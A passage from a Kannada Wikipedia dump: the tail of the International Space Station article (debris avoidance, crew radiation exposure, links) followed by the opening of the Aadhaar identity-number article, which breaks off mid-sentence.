ಉಪಗ್ರಹಗಳಿಂದ ಬಿಡುಗಡೆಯಾಗುವ ಎಣ್ಣೆಗಳ ಮಿಶ್ರಣ, ಸಣ್ಣ ಸೂಜಿಗಳು ಮತ್ತು ಇತರ ಅನೇಕ ವಸ್ತುಗಳವರೆಗೆ ಎಲ್ಲವನ್ನು ಒಳಗೊಂಡಿವೆ.<ref>{{cite web|url=http://defensenews.com/blogs/space-symposium/2009/04/03/its-getting-crowded-up-there/#more-155|publisher=Defense News|accessdate=7 October 2009|author=Michael Hoffman|title=National Space Symposium 2009:It's getting crowded up there|date=3 April 2009}}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ಸಹಜವಾದ ಸೂಕ್ಷ್ಮ ಉಲ್ಕಾಭಗಳ ಜೊತೆಯಲ್ಲಿ ಈ ವಸ್ತುಗಳು,<ref>{{cite journal|author=F. L. Whipple|year=1949|title=The Theory of Micrometeoroids|journal=Popular Astronomy|volume=57|page=517|url=http://adsabs.harvard.edu/full/1949PA.....57..517W}}</ref> ನಿಲ್ದಾಣಕ್ಕೆ ಅಪಾಯ ತಂದೊಡ್ಡಬಹುದು. ಏಕೆಂದರೆ ಒತ್ತಡಕ್ಕೇರಿಸಲಾದ ಘಟಕಗಳನ್ನು ಅವು ತೂತು ಮಾಡಬಲ್ಲವು. ಅಲ್ಲದೇ ನಿಲ್ದಾಣದ ಇತರ ಭಾಗಗಳಿಗೆ ಹಾನಿಮಾಡಬಲ್ಲವು.<ref name="NSFSafeHaven">{{cite web|publisher=NASASpaceflight.com|accessdate=7 October 2009|date=30 September 2009|author=Chris Bergin|url=http://www.nasaspaceflight.com/2009/09/soyuz-tma-16-launch-to-iss-safe-haven-evaluations/|title=Soyuz TMA-16 launches for journey to ISS—Safe Haven evaluations}}</ref><ref>{{cite web|author=Henry Nahra|url=http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19890016664_1989016664.pdf|title=Effect of Micrometeoroid and Space Debris Impacts on the Space Station Freedom Solar Array Surfaces|date=24–29 April 1989|publisher=NASA|accessdate=7 October 2009}}</ref> ಸೂಕ್ಷ್ಮ ಉಲ್ಕಾಭಗಳು ಬಾಹ್ಯಾಕಾಶ ನಡಿಗೆಯನ್ನು ಮಾಡುವ ಗಗನಯಾತ್ರಿಗಳಿಗೆ ಕೂಡ ಅಪಾಯವನ್ನುಂಟು ಮಾಡುತ್ತವೆ. ಇಂತಹ ವಸ್ತುಗಳು ಅವರ ಆಕಾಶ ಪೋಷಾಕನ್ನು ತೂತು ಮಾಡುವ ಮೂಲಕ ಒತ್ತಡವನ್ನು ತಗ್ಗಿಸಬಲ್ಲವು.<ref>{{cite web|url=http://www.space.com/missionlaunches/junk_iss_020107.html|title=Space Junk and ISS: A Threatening Problem |accessdate=30 November 2008|publisher=Space.com|date=7 January 2002|author=Leonard David|archiveurl=https://web.archive.org/web/20020202090255/http://www.space.com/missionlaunches/junk_iss_020107.html|archivedate=2 February 2002}}</ref> ಅಂತರಿಕ್ಷದಲ್ಲಿನ ಭಗ್ನಾವಶೇಷಗಳನ್ನು ಭೂಮಿಯ ಮೇಲಿನಿಂದ ದೂರದಿಂದಲೇ ಕಂಡುಹಿಡಿಯಬಹುದು. ಅಲ್ಲದೇ ಸಿಬ್ಬಂದಿಗೆ ಹಾನಿಯನ್ನು ಉಂಟುಮಾಡುವ ಈ ವಸ್ತುಗಳ ಬಗ್ಗೆ ಮತ್ತು ಅವುಗಳ ಗಾತ್ರದ ಬಗ್ಗೆ ಮೊದಲೇ ಎಚ್ಚರಿಕೆಯನ್ನು ನೀಡಬಹುದಾಗಿದೆ. ಇದು ಡೆಬ್ರೀಸ್ ಅವಾಯ್ಡೆನ್ಸ್ ಮ್ಯಾನೂವರ್ (DAM) ಕಾರ್ಯವಿಧಾನವನ್ನು ನಡೆಸಲು ಅವಕಾಶ ನೀಡುತ್ತದೆ. ಈ ಕಾರ್ಯವಿಧಾನವು ಭಗ್ನಾವಶೇಷಗಳನ್ನು ತಡೆಗಟ್ಟಲೆಂದು, ನಿಲ್ದಾಣದ ಕಕ್ಷಾ ಎತ್ತರವನ್ನು ಬದಲಾಯಿಸುವುದಕ್ಕಾಗಿ ರಷ್ಯನ್ ಆರ್ಬಿಟಲ್ ಸೆಗ್ಮೆಂಟ್ ನ ಮೇಲೆ ನೂಕುಕಾರಿಗಳನ್ನು ಬಳಸುತ್ತದೆ. ಭಗ್ನಾವಶೇಷ ಇನ್ನೂ ಕೆಲವೇ ಸಮಯದಲ್ಲಿ ಸಮೀಪಿಸುತ್ತದೆ ಎಂಬುದನ್ನು ಗಣನೆಯ ಮಾದರಿಗಳು ತೋರಿಸಿದಾಗ DAMs ಅನ್ನು ಸಂಧಿಸಲಾಗುತ್ತದೆ.<ref name="NSFSafeHaven" /> 2009 ರ ಮಾರ್ಚ್ ನ ಮೊದಲು ಎಂಟನೆಯ DAMs ಅನ್ನು ನಡೆಸಲಾಗಿದೆ,<ref>{{cite web|url=http://www.newscientist.com/article/dn16777-space-station-may-move-to-dodge-debris.html|title=Space station may move to dodge debris|publisher=New Scientist|date=16 March 2009|accessdate=20 April 2010|author=Rachel Courtland}}</ref> ಮೊದಲ ಏಳನ್ನು ಅಕ್ಟೋಬರ್ 1999 ರಿಂದ 2003 ರ ನಡುವೆ ನಡೆಸಲಾಗಿದೆ.<ref name="ODOct08">{{cite journal|url=http://www.orbitaldebris.jsc.nasa.gov/newsletter/pdfs/ODQNv12i4.pdf|title=ISS Maneuvers to Avoid Russian Fragmentation Debris|publisher=NASA|pages=1&2|journal=Orbital Debris Quarterly News|month=October|year=2008|accessdate=20 April 2010|volume=12|issue=4|archive-date=27 ಮೇ 2010|archive-url=https://web.archive.org/web/20100527134134/http://orbitaldebris.jsc.nasa.gov/newsletter/pdfs/ODQNv12i4.pdf|url-status=dead}}</ref> ಕಕ್ಷೆಯ ವೇಗವನ್ನು 1&nbsp;m/s ಗತಿಯಲ್ಲಿ ಹೆಚ್ಚಿಸುವ ಮೂಲಕ ಸಾಮಾನ್ಯವಾಗಿ ಕಕ್ಷೆಯನ್ನು ಒಂದು ಅಥವಾ ಎರಡು ಕಿಲೋಮೀಟರ್ ಗಳಿಂದ ಏರಿಸಲಾಗುತ್ತದೆ. 2008 ರ ಆಗಸ್ಟ್ 27 ರಂದು 1.7&nbsp;ಕಿಲೋಮೀಟರ್ ನಷ್ಟು ಎತ್ತರವನ್ನು 8 ವರ್ಷಗಳ ಕಾಲ ತಗ್ಗಿಸಲಾಯಿತು.<ref name="ODOct08" /><ref>{{cite web|url=http://www.esa.int/esaMI/ATV/SEM64X0SAKF_0.html|title=ATV carries out first debris avoidance manoeuvre for the ISS|publisher=ESA|date=28 August 2008|accessdate=26 February 2010}}</ref> 2009 ರಲ್ಲಿ ಮಾರ್ಚ್ 22 ರಂದು ಮತ್ತು ಜುಲೈ 17 ರಂದು ಎರಡು DAMs ಗಳಿದ್ದವು.<ref>{{cite journal|url=http://www.orbitaldebris.jsc.nasa.gov/newsletter/pdfs/ODQNv14i1.pdf|title=Avoiding satellite collisions in 2009.|page=2|journal=Orbital Debris Quarterly News|publisher=NASA|volume=14|month=January|year=2010|issue=1|accessdate=20 April 2010|archive-date=27 ಮೇ 2010|archive-url=https://web.archive.org/web/20100527142755/http://orbitaldebris.jsc.nasa.gov/newsletter/pdfs/ODQNv14i1.pdf|url-status=dead}}</ref> ಕಕ್ಷೆಯಲ್ಲಿರುವ ಭಗ್ನಾವಶೇಷದಿಂದ ಉಂಟಾಗಬಹುದಾದ ಅಪಾಯವನ್ನು ತಡವಾಗಿ ಗುರುತಿಸಿದರೂ ಕೂಡ DAM ಅನ್ನು ಸುರಕ್ಷಿತವಾಗಿ ನಡೆಸಬಹುದಾಗಿದೆ. ನಿಲ್ದಾಣದ ಸಿಬ್ಬಂದಿ ನಿಲ್ದಾಣದ ಎಲ್ಲಾ ಬಾಗಿಲುಗಳನ್ನು ಮುಚ್ಚಿ, ಅವರ ಸೊಯುಜ್ ಬಾಹ್ಯಾಕಾಶನೌಕೆಯೊಳಗೆ ಹೋಗಬೇಕು. ಈ ರೀತಿಯಾಗಿ ಭಗ್ನಾವಶೇಷಗಳಿಂದುಂಟಾದ ಅಪಾಯದ ಪರಿಸ್ಥಿತಿಯಿಂದ ಅವರು ಹೊರಬರಬಲ್ಲರು. ನಿಲ್ದಾಣದಿಂದ ಹೀಗೆ ಹೊರಬರುವ ಘಟನೆಯು 2003 ರ ಏಪ್ರಿಲ್ 6 ರಂದು ಮತ್ತು 2009 ರ ಮಾರ್ಚ್ 13 ರಂದು ಎರಡು ಬಾರಿ ನಡೆದಿದೆ.<ref name="NSFSafeHaven" /> ====ವಿಕಿರಣ==== ಭೂಮಿಯ ವಾಯುಮಂಡಲದ ರಕ್ಷಣೆಯಿಲ್ಲದೆಯೇ ಗಗನಯಾತ್ರಿಗಳನ್ನು ಕಾಸ್ಮಿಕ್ ಕಿರಣಗಳ ಏಕಪ್ರಕಾರದ ಪ್ರಸರಣದಿಂದ ಹೊರಬರುವ ಅಧಿಕ ಮಟ್ಟದ ವಿಕಿರಣಕ್ಕೆ ಒಡ್ಡಲಾಗುತ್ತದೆ. ನಿಲ್ದಾಣದ ಸಿಬ್ಬಂದಿಯನ್ನು ಪ್ರತಿದಿನಕ್ಕೆ ಸುಮಾರು 1 ಮಿಲಿಸಿವರ್ಟ್ ವಿಕಿರಣಕ್ಕೆ ಒಡ್ಡಲಾಗುತ್ತದೆ. ಇದು ನೈಸರ್ಗಿಕ ಮೂಲಗಳಿಂದ ಭೂಮಿಯಲ್ಲಿರುವ ಒಬ್ಬ ವ್ಯಕ್ತಿ ಒಂದು ವರ್ಷಕ್ಕೆ ಪಡೆವಷ್ಟು ವಿಕಿರಣಕ್ಕೆ ಸಮನಾಗಿದೆ.<ref name="Radiation">{{cite web|url=http://www.newscientist.com/article/dn2956-space-station-radiation-shields-disappointing.html|title=Space station radiation shields 'disappointing'|date=23 October 2002|accessdate=7 October 2009|publisher=New Scientist|author=Eugenie Samuel}}</ref> ಇದರಿಂದಾಗಿ ಗಗನಯಾತ್ರಿಗಳಿಗೆ ಕ್ಯಾನ್ಸರ್ ಬರಬಹುದಾದ ಸಾಧ್ಯತೆಗಳಿವೆ. ಅಧಿಕ ಮಟ್ಟದ ವಿಕಿರಣ ದುಗ್ಧಕೋಶದಲ್ಲಿನ(ಲಿಂಫಸೈಟ್) ವರ್ಣತಂತುಗಳಿಗೆ (ಕ್ರೋಮೋಸೋಮ್) ಹಾನಿಯುಂಟುಮಾಡಬಲ್ಲದು. ಈ ಕೋಶಗಳು ಪ್ರತಿರಕ್ಷಿತ ವ್ಯವಸ್ಥೆಯಕೇಂದ್ರವಾಗಿದ್ದು, ಇವುಗಳಿಗೆ ಯಾವುದೇ ಹಾನಿಯುಂಟಾದಲ್ಲಿ ಗಗನಯಾತ್ರಿಗಳ ರೋಗದ ಪ್ರತಿರಕ್ಷೆವ್ಯವಸ್ಥೆಯು ದುರ್ಬಲವಾಗಬಲ್ಲದು. ಅಧಿಕ ಕಾಲದ ವರೆಗೆ ಪ್ರತಿರಕ್ಷ ವ್ಯವಸ್ಥೆ ದುರ್ಬಲವಾಗಿದ್ದಲ್ಲಿ, ಸಿಬ್ಬಂದಿಗಳ ನಡುವೆ ಸೋಂಕು ಹರಡಬಹುದು. ಅದರಲ್ಲೂ ವಿಶೇಷವಾಗಿ ಅವರಿರುವ ಸ್ಥಳದಲ್ಲಿ ಸೋಂಕು ಹರಡಬಹುದು. ವಿಕಿರಣವು ಗಗನಯಾತ್ರಿಗಳಲ್ಲಿ ಹೆಚ್ಚಾಗಿ ಕಂಡು ಬಂದಿರುವ ಕಣ್ಣಿನ ಪೊರೆ ಸಮಸ್ಯೆಗೂ ಕಾರಣವಾಗಿದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತದೆ. ಸುರಕ್ಷಿತ ರಕ್ಷಾಕವಚ ಮತ್ತು ಸುರಕ್ಷಿತ ಜೌಷಧಿಗಳ ಮೂಲಕ ಇದರ ಅಪಾಯದ ಮಟ್ಟವನ್ನು ತಗ್ಗಿಸಬಹುದಾಗಿದೆ. ಆದರೆ ಇದಕ್ಕೆ ಉದಾಹರಣೆಗಳು ವಿರಳವಾಗಿವೆ. ಅಲ್ಲದೇ ದೀರ್ಘಕಾಲದ ವರೆಗೆ ಒಡ್ಡುವುದರಿಂದ ಅಪಾಯದ ಸಾಧ್ಯತೆಗಳು ಹೆಚ್ಚುತ್ತವೆ.<ref name="JCB" /> ''ಮಿರ್'' ನಂತಹ ಹಿಂದಿನ ನಿಲ್ದಾಣಗಳಿಗೆ ಹೋಲಿಸಿದರೆ, ISS ನ ಮೇಲೆ ವಿಕಿರಣ ರಕ್ಷೆಯನ್ನು ಹೆಚ್ಚಿಸಲು ಮಾಡಿರುವ ಪ್ರಯತ್ನಗಳ ಹೊರತಾಗಿ, ನಿಲ್ದಾಣದೊಳಗೆ ವಿಕಿರಣದ ಮಟ್ಟವು ಹೆಚ್ಚಿನ ಪ್ರಮಾಣದಲ್ಲಿ ಕಡಿಮೆಯಾಗಿಲ್ಲ. ಅಲ್ಲದೇ ಮಂದೆ ದೀರ್ಘಕಾಲದ ಮಾನವಸಹಿತ ಬಾಹ್ಯಾಕಾಶ ವಿಮಾನವನ್ನು ನಿರ್ಮಿಸಲು ತಾಂತ್ರಿಕ ಪ್ರಗತಿಯ ಅಗತ್ಯವಿರುತ್ತದೆ ಎಂದು ಆಲೋಚಿಸಲಾಗಿದೆ.<ref name="Radiation" /> ISS ನ ಮೇಲೆ ಅನುಭವಿಸಲಾದ ವಿಕಿರಣದ ಮಟ್ಟವು ವಿಮಾನದ ಪ್ರಯಾಣಿಕರು ಅನುಭವಿಸಿದಷ್ಟಿಲ್ಲ ಎಂಬುದನ್ನು ಪರಿಗಣಿಸಬೇಕಿದೆ. ಭೂಮಿಯ ವಿದ್ಯುತ್ಕಾಂತೀಯ ಕ್ಷೇತ್ರವು ಪೃಥ್ವಿಯ ನಿಕಟವರ್ತಿ ಕಕ್ಷೆಯಲ್ಲಿನ ಸೂರ್ಯನ ಮತ್ತು ಇತರ ವಿಕಿರಣಗಳಿಂದ ಬಹುಪಾಲು ವಾಯುಮಂಡಲದಷ್ಟೇ ಸುರಕ್ಷತೆಯನ್ನು ಒದಗಿಸುತ್ತದೆ. ಅದೇನೇ ಆದರೂ, ವಿಮಾನ ಪ್ರಯಾಣಿಕರು 15 ಗಂಟೆಗಳಿಗಿಂತ ಕಡಿಮೆ ಪ್ರಯಾಣವಿರದ ಖಂಡಾಂತರ ವಿಮಾನಗಳಲ್ಲಿ(ಲಂಡನ್-ಸಿಡ್ನಿ ಅಥವಾ ಚಿಕಾಗೋ-ದೆಹಲಿ) ಇದೇ ಮಟ್ಟದ ವಿಕಿರಣವನ್ನು ಅನುಭವಿಸಿದ್ದಾರೆ. ಉದಾಹರಣೆಗೆ, ಬಾಸ್ಟನ್ ನಿಂದ ಬೀಜಿಂಗ್ ಗೆ ಹೋಗುವ 12 ಗಂಟೆಗಳ ವಿಮಾನದಲ್ಲಿ, ಪ್ರಯಾಣಿಕನು 0.1 ಮಿಲಿಸಿವರ್ಟ್ ನಷ್ಟು ವಿಕಿರಣವನ್ನು ಅಥವಾ ಒಂದು ದಿನಕ್ಕೆ 0.2 ಮಿಲಿಸಿವರ್ಟ್ಸ್ ನಷ್ಟು ವಿಕಿರಣವನ್ನು ಅನುಭವಿಸುತ್ತಾನೆ. ಗಗನಯಾತ್ರಿಯು LEO ಕೇವಲ 1/5ನೇ ಭಾಗದಷ್ಟು ವಿಕಿರಣವನ್ನು ಅನುಭವಿಸಿದ್ದಾನೆ.<ref>{{cite web|url=http://jag.cami.jccbi.gov./cariprofile.asp|title=Galactic Radiation Received in Flight|accessdate=20 May 2010|publisher=FAA Civil Aeromedical Institute|archive-date=29 ಮಾರ್ಚ್ 2010|archive-url=https://web.archive.org/web/20100329130826/http://jag.cami.jccbi.gov/cariprofile.asp|url-status=dead}}</ref> ==ಇವನ್ನೂ ಗಮನಿಸಿ== * ತಿರುಗುವ ಚಕ್ರದ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣ * ಜನಪ್ರಿಯ ಸಂಸ್ಕೃತಿಯಲ್ಲಿ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣಗಳು ಮತ್ತು ಆವಾಸಸ್ಥಾನಗಳು * ಸ್ಟ್ಯಾನ್ ಫೋರ್ಡ್ ಟಾರಸ್ * ಬಿಗೆಲಾ ವಾಣಿಜ್ಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣ * ಕಕ್ಷಾ ತಂತ್ರಜ್ಞಾನಗಳ ವಾಣಿಜ್ಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣ *[http://www.hindustantimes.com/world-news/stephen-hawking-warns-against-seeking-out-aliens/story-1wAScHB7lsZxONGZyNYVzI.html] Stephen Hawking warns against seeking out aliens; PTI,London|Sep 25, 2016 ==ಉಲ್ಲೇಖಗಳು== {{Reflist|colwidth=25em}} ==ಬಾಹ್ಯ ಕೊಂಡಿಗಳು== {{commons|International Space Station}} {{Wikinews category|International Space Station}} ;ಸಹಯೋಗಿ ಬಾಹ್ಯಾಕಾಶ ನಿಯೋಗಗಳ ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣದ ಅಧಿಕೃತ ವೆಬ್ ಪುಟಗಳು * [https://www.nasa.gov/mission_pages/station/main/ NASAನಾಸಾ] * [http://www.energia.ru/eng/iss/iss.html RSC ಎನರ್ಜಿಯ] * [http://www.roscosmos.ru/main.php?lang=en ರಷ್ಯನ್ ಫೆಡರಲ್ ಸ್ಪೇಸ್ ಏಜೆನ್ಸಿ] {{Webarchive|url=https://web.archive.org/web/20130817173452/http://www.roscosmos.ru/main.php?lang=en |date=2013-08-17 }} * [http://www.asc-csa.gc.ca/eng/iss/default.asp ಕೆನಡಿಯನ್ ಸ್ಪೇಸ್ ಏಜೆನ್ಸಿ] * [http://www.esa.int/esaHS/iss.html ಯುರೋಪಿಯನ್ ಸ್ಪೇಸ್ ಏಜೆನ್ಸಿ] * [http://www.jaxa.jp/projects/iss_human/index_e.html ಜಪಾನೀಸ್ ಸ್ಪೇಸ್ ಏಜೆನ್ಸಿ] {{Webarchive|url=https://web.archive.org/web/20131012172405/http://www.jaxa.jp/projects/iss_human/index_e.html |date=2013-10-12 }} * [http://www.asi.it/en/flash_en/living ಇಟಲಿಯನ್ ಸ್ಪೇಸ್ ಏಜೆನ್ಸಿ] {{Webarchive|url=https://web.archive.org/web/20150524010821/http://www.asi.it/en/flash_en/living |date=2015-05-24 }} * [https://web.archive.org/web/20080801141159/http://www.aeb.gov.br/conteudo.php?ida=28&amp;idc=118 Brazilian Space Agency] (in Portuguese, archived version) ;ಪರಸ್ಪರ ಕಾರ್ಯನಡೆಸುವ ಮತ್ತು ಬಹುಮಾಧ್ಯಮ * [https://www.nasa.gov/externalflash/ISSRG/index.html ನಾಸಾ'ಸ್ ISS ಇಂಟ್ರಾಕ್ಟೀವ್ ರೆಫರೆನ್ಸ್ ಗೈಡ್] {{Webarchive|url=https://web.archive.org/web/20161103141659/http://www.nasa.gov/externalflash/ISSRG/index.html |date=2016-11-03 }} * [http://spaceflight.nasa.gov/gallery/images/station/ ನಾಸಾ'ಸ್ ISS ಇಮೇಜ್ ಗ್ಯಾಲರಿ ಸರ್ಚ್ ಪೇಜ್] {{Webarchive|url=https://web.archive.org/web/20080526115717/http://spaceflight.nasa.gov/gallery/images/station/ |date=2008-05-26 }} * [http://spaceflight.nasa.gov/realdata/tracking/ ಕರೆಂಟ್ ಪೊಸಿಷನ್ ಆಫ್ ದಿ ISS] {{Webarchive|url=https://web.archive.org/web/20070408165613/http://spaceflight.nasa.gov/realdata/tracking/ |date=2007-04-08 }} * [http://heavens-above.com/ ಸ್ಯಾಟಲೈಟ್ ಟ್ರಾಕಿಂಗ್ ವೆಬ್ ಸೈಟ್] * [https://www.nasa.gov/multimedia/isslivestream.asx ISS ವೆಬ್ ಕ್ಯಾಮ್] * [http://i.usatoday.net/tech/graphics/iss_timeline/flash.htm ಅನಿಮೇಶನ್ ಶೋಯಿಂಗ್ ISS ಅಸ್ಲೆಂಬ್ಲಿ ಸೀಕ್ವೇನ್ಸ್] * [http://www.isstracker.com/ ISS ರಿಯಲ್-ಟೈಮ್ ಟ್ರಾಕಿಂಗ್ ಇನ್ ಫಾರ್ಮೇಶನ್] ;ಪ್ರಯೋಗಗಳು ಮತ್ತು ವಿಜ್ಞಾನ * [http://www.esa.int/SPECIALS/Columbus/index.html ESA – ಕೊಲಂಬಸ್] * [http://www.jaxa.jp/projects/iss_human/research/index_e.html JAXA – ಸ್ಪೇಸ್ ಎನ್ವಿರಾನ್ಮೆಂಟ್ ಯುಟಿಲೈಸೇಷನ್ ಅಂಡ್ ಸ್ಪೇಸ್ ಎಕ್ಸ್ ಪಿರಿಮೆಂಟ್] * [https://www.nasa.gov/mission_pages/station/science/index.html NASA – ಸ್ಟೇಷನ್ ಸೈನ್ಸ್] * [http://www.energia.ru/en/iss/researches/iss-researches.html RSC ಎನರ್ಜಿಯ – ಸೈನ್ಸ್ ರಿಸರ್ಚ್ ಆನ್ ISS ರಷ್ಯನ್ ಸೆಗ್ಮೆಂಟ್] {{Space stations}} [[ವರ್ಗ:ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣ]] [[ವರ್ಗ:ಭೂಮಿಯನ್ನು ಸುತ್ತುತ್ತಿರುವ ಕೃತಕ ಉಪಗ್ರಹಗಳು]] [[ವರ್ಗ:ಮಾನವನ್ನೊಳಗೊಂಡ ಬಾಹ್ಯಾಕಾಶ ವಿಮಾನ]] [[ವರ್ಗ:ಜಂಟಿ ಉದ್ಯಮಗಳು]] [[ವರ್ಗ:ಮಾನವ ಚಾಲಿತ ಬಾಹ್ಯಕಾಶ ನೌಕೆ]] [[ವರ್ಗ:ಜನಭರಿತ ಸ್ಥಳಗಳು]] [[ವರ್ಗ:ಬಾಹ್ಯಾಕಾಶ ವಿಮಾನಗಳು]] [[ವರ್ಗ:ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣಗಳು]] [[ವರ್ಗ:ಬಾಹ್ಯಾಕಾಶ ಅನ್ವೇಷಣೆ]] [[ವರ್ಗ:ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ]] 1o39p0nqcz4gnoste7anpz0me52gta9 ಆಧಾರ್ 0 27187 1116506 1011734 2022-08-23T15:34:43Z ChiK 40016 ChiK moved page [[ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ]] to [[ಆಧಾರ್]] over redirect wikitext text/x-wiki {{wikify|date=August 2009}} '''ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ''' ('''ಆಧಾರ್''') ಎಂಬುದು [[ಭಾರತ ಸರ್ಕಾರ]]ದ ವತಿಯಿಂದ ಇತ್ತೀಚೆಗಷ್ಟೇ ಅಂತಿಮಗೊಳಿಸಲ್ಪಟ್ಟ ಒಂದು ಉಪಕ್ರಮವಾಗಿದ್ದು, [[ಭಾರತ]]ದ ಎಲ್ಲಾ ವಯಸ್ಕ ನಾಗರಿಕರು ಮತ್ತು ನಿವಾಸಿಗಳಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಒಂದು ಕೇಂದ್ರೀಕೃತ ಗುರುತಿಸುವಿಕೆಯ ವ್ಯವಸ್ಥೆಯನ್ನು ಸೃಷ್ಟಿಸುವ ಮತ್ತು ನಿರ್ವಹಿಸುವ ಉದ್ದೇಶ ಇದರ ಹಿಂದಿದೆ; ಇದನ್ನು ಒಂದು ವೈವಿಧ್ಯಮಯವಾದ ಗುರುತಿಸುವಿಕೆಯ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಬಳಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ. [[ಇನ್ಫೋಸಿಸ್|ಇನ್ಫೋಸಿಸ್‌‌]]ನ ಹಿಂದಿನ ಸಹ-ಸಭಾಪತಿಯಾದ ನಂದನ್ ನಿಲೇಕಣಿಯವರನ್ನು ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿಸುವಿಕೆಯ ಪ್ರಾಧಿಕಾರದ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ) ಮುಖ್ಯಸ್ಥರನ್ನಾಗಿ ನೇಮಿಸಲಾಗಿದ್ದು, ಅವರು ಓರ್ವ ಮಂತ್ರಿಯ ದರ್ಜೆಯನ್ನು ಹೊಂದಲಿದ್ದಾರೆ.<ref name="deccanherald.com">10.2</ref> ಇನ್ಫೋಸಿಸ್‌ ಟೆಕ್ನಾಲಜೀಸ್‌ನ ನಿರ್ದೇಶಕ ಮಂಡಳಿಯಿಂದ ಕೆಳಗಿಳಿಯಲು ಅವರು ನಿರ್ಧರಿಸಿದ್ದಾರೆ.<ref name="business-standard.com">[http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ]</ref> ಈ ಪ್ರಾಧಿಕಾರವನ್ನು ಯೋಜನಾ ಆಯೋಗದ ಆಶ್ರಯ ಅಡಿಯಲ್ಲಿನ ಒಂದು ಸೇರಿಸಿದ ಕಚೇರಿಯನ್ನಾಗಿ ಘೋಷಿಸಲಾಗಿದೆ. ಹಿಂದಿ ಭಾಷೆಯಲ್ಲಿ ಬೆಂಬಲ ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುವ ಮತ್ತು 'ಆಧಾರ್‌' ಎಂಬುದಾಗಿ ಕರೆಯಲ್ಪಟ್ಟಿರುವ ಯೋಜನೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಒಂದು ಹೊಸ ಹೆಸರು ಮತ್ತು ಲಾಂಛನವನ್ನು ಅವರು ಪ್ರಕಟಿಸಿದ್ದಾರೆ. ಭಾರತೀಯ ವಿಶಿಷ್ಟವಾದ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ಅಥವಾ UIDAI, ಭಾರತೀಯ ನಿವಾಸಿಗಳಿಗೆಲ್ಲಾ ೧೨ ಅಂಕಗಳ ಸಂಖ್ಯೆಯುಳ್ಳ 'ಗುರುತಿನ-ಪತ್ರ' ನೀಡುವ ಮಹದಾಂಕ್ಷೆಯ ಯೋಜನೆ ’ಆಧಾರ್, ಏಪ್ರಿಲ್ ೨೬, ೨೦೧೦ ರಂದು, ಪುನರ್ನಿರ್ಮಾಣವಾಗಿದೆ. ಯೋಜನೆಯ ಅನುಷ್ಠಾನಕ್ಕೆ ಅನುಕೂಲವಾಗುವಂತೆ ೨೦೧೧ ನೇ ಇಸವಿಯ ಜನಗಣತಿಯ ವೇಳೆಯಲ್ಲಿ 'ಪ್ರತಿಯೊಬ್ಬ ಭಾರತೀಯನ ಎಲ್ಲಾ ಹತ್ತು ಬೆರಳುಗಳ ಬೆರಳಚ್ಚುಗಳನ್ನು ಪಡೆಯಲಾಗುತ್ತದೆ', ಹಾಗೂ 'ಕಣ್ಣಿನ ಸ್ಕ್ಯಾನಿಂಗ್' ಮಾಡಲಾಗುತ್ತದೆ. 'ಪ್ರತಿಯೊಬ್ಬರನ್ನೂ ಹದಿನಾರು ಅಂಕೆಗಳ ಒಂದು ಸಂಖ್ಯೆ ಮೂಲಕ ಗುರುತಿಸಲಾಗುವಂತೆ ವ್ಯವಸ್ಥೆ ಮಾಡಲಾಗಿದೆ'. ಮುಂದಿನ ನಾಲ್ಕೈದು ವರ್ಷಗಳಲ್ಲಿ ಕನಿಷ್ಟಪಕ್ಷ ಭಾರತದ ೬೦ ಕೋಟಿ ಜನತೆ, ಮೇಲೆತಿಳಿಸಿರುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಧಾಖಲಿಸಿರುವ ಗುರುತು ಚೀಟಿಯನ್ನು ಪಡೆಯಲಿದ್ದಾರೆ. ಎಲ್ಲಾ ಪ್ರಮುಖ ದಾಖಲಾತಿಗಳಲ್ಲೂ ಅದು ಮುಖ್ಯಸ್ಥಾನ ಪಡೆದುಕೊಳ್ಳಲಿದೆ. [[File:Aadhaar Seva Kendra, Bhopal.jpg|thumb|350px|]] == ಸ್ವರೂಪ == ಭಾರತದ ಒಂದು ಶತಕೋಟಿಗೂ ಮಿಕ್ಕಿದ ನಾಗರಿಕರ ಹಾಗೂ ಭವಿಷ್ಯದಲ್ಲಿ ಜನನವಾಗಲಿರುವ ಮಕ್ಕಳ ಗಣನೆಯನ್ನು ಸರಿಹೊಂದಿಸುವ ದೃಷ್ಟಿಯಿಂದ, ಸದರಿ ID ವ್ಯವಸ್ಥೆಯು ಒಂದು ಬೃಹತ್‌‌ ಅಕ್ಷರಸಂಖ್ಯಾಯುಕ್ತ ಸರಣಿಯಾಗಿ ಮಾರ್ಪಡುವ ಸಾಧ್ಯತೆಯಿದೆ. 16 ಕೆಬಿ ಅಥವಾ 64 ಕೆಬಿ ಸಾಮರ್ಥ್ಯದ ಒಂದು ಸಂಗ್ರಹಣಾ ಬಿಲ್ಲೆಯನ್ನು ಈ ಕಾರ್ಡಿನಲ್ಲಿ ಅಳವಡಿಸುವ ಸಾಧ್ಯತೆಯಿದೆ.ಒಂದು ಛಾಯಾಚಿತ್ರ ಮತ್ತು 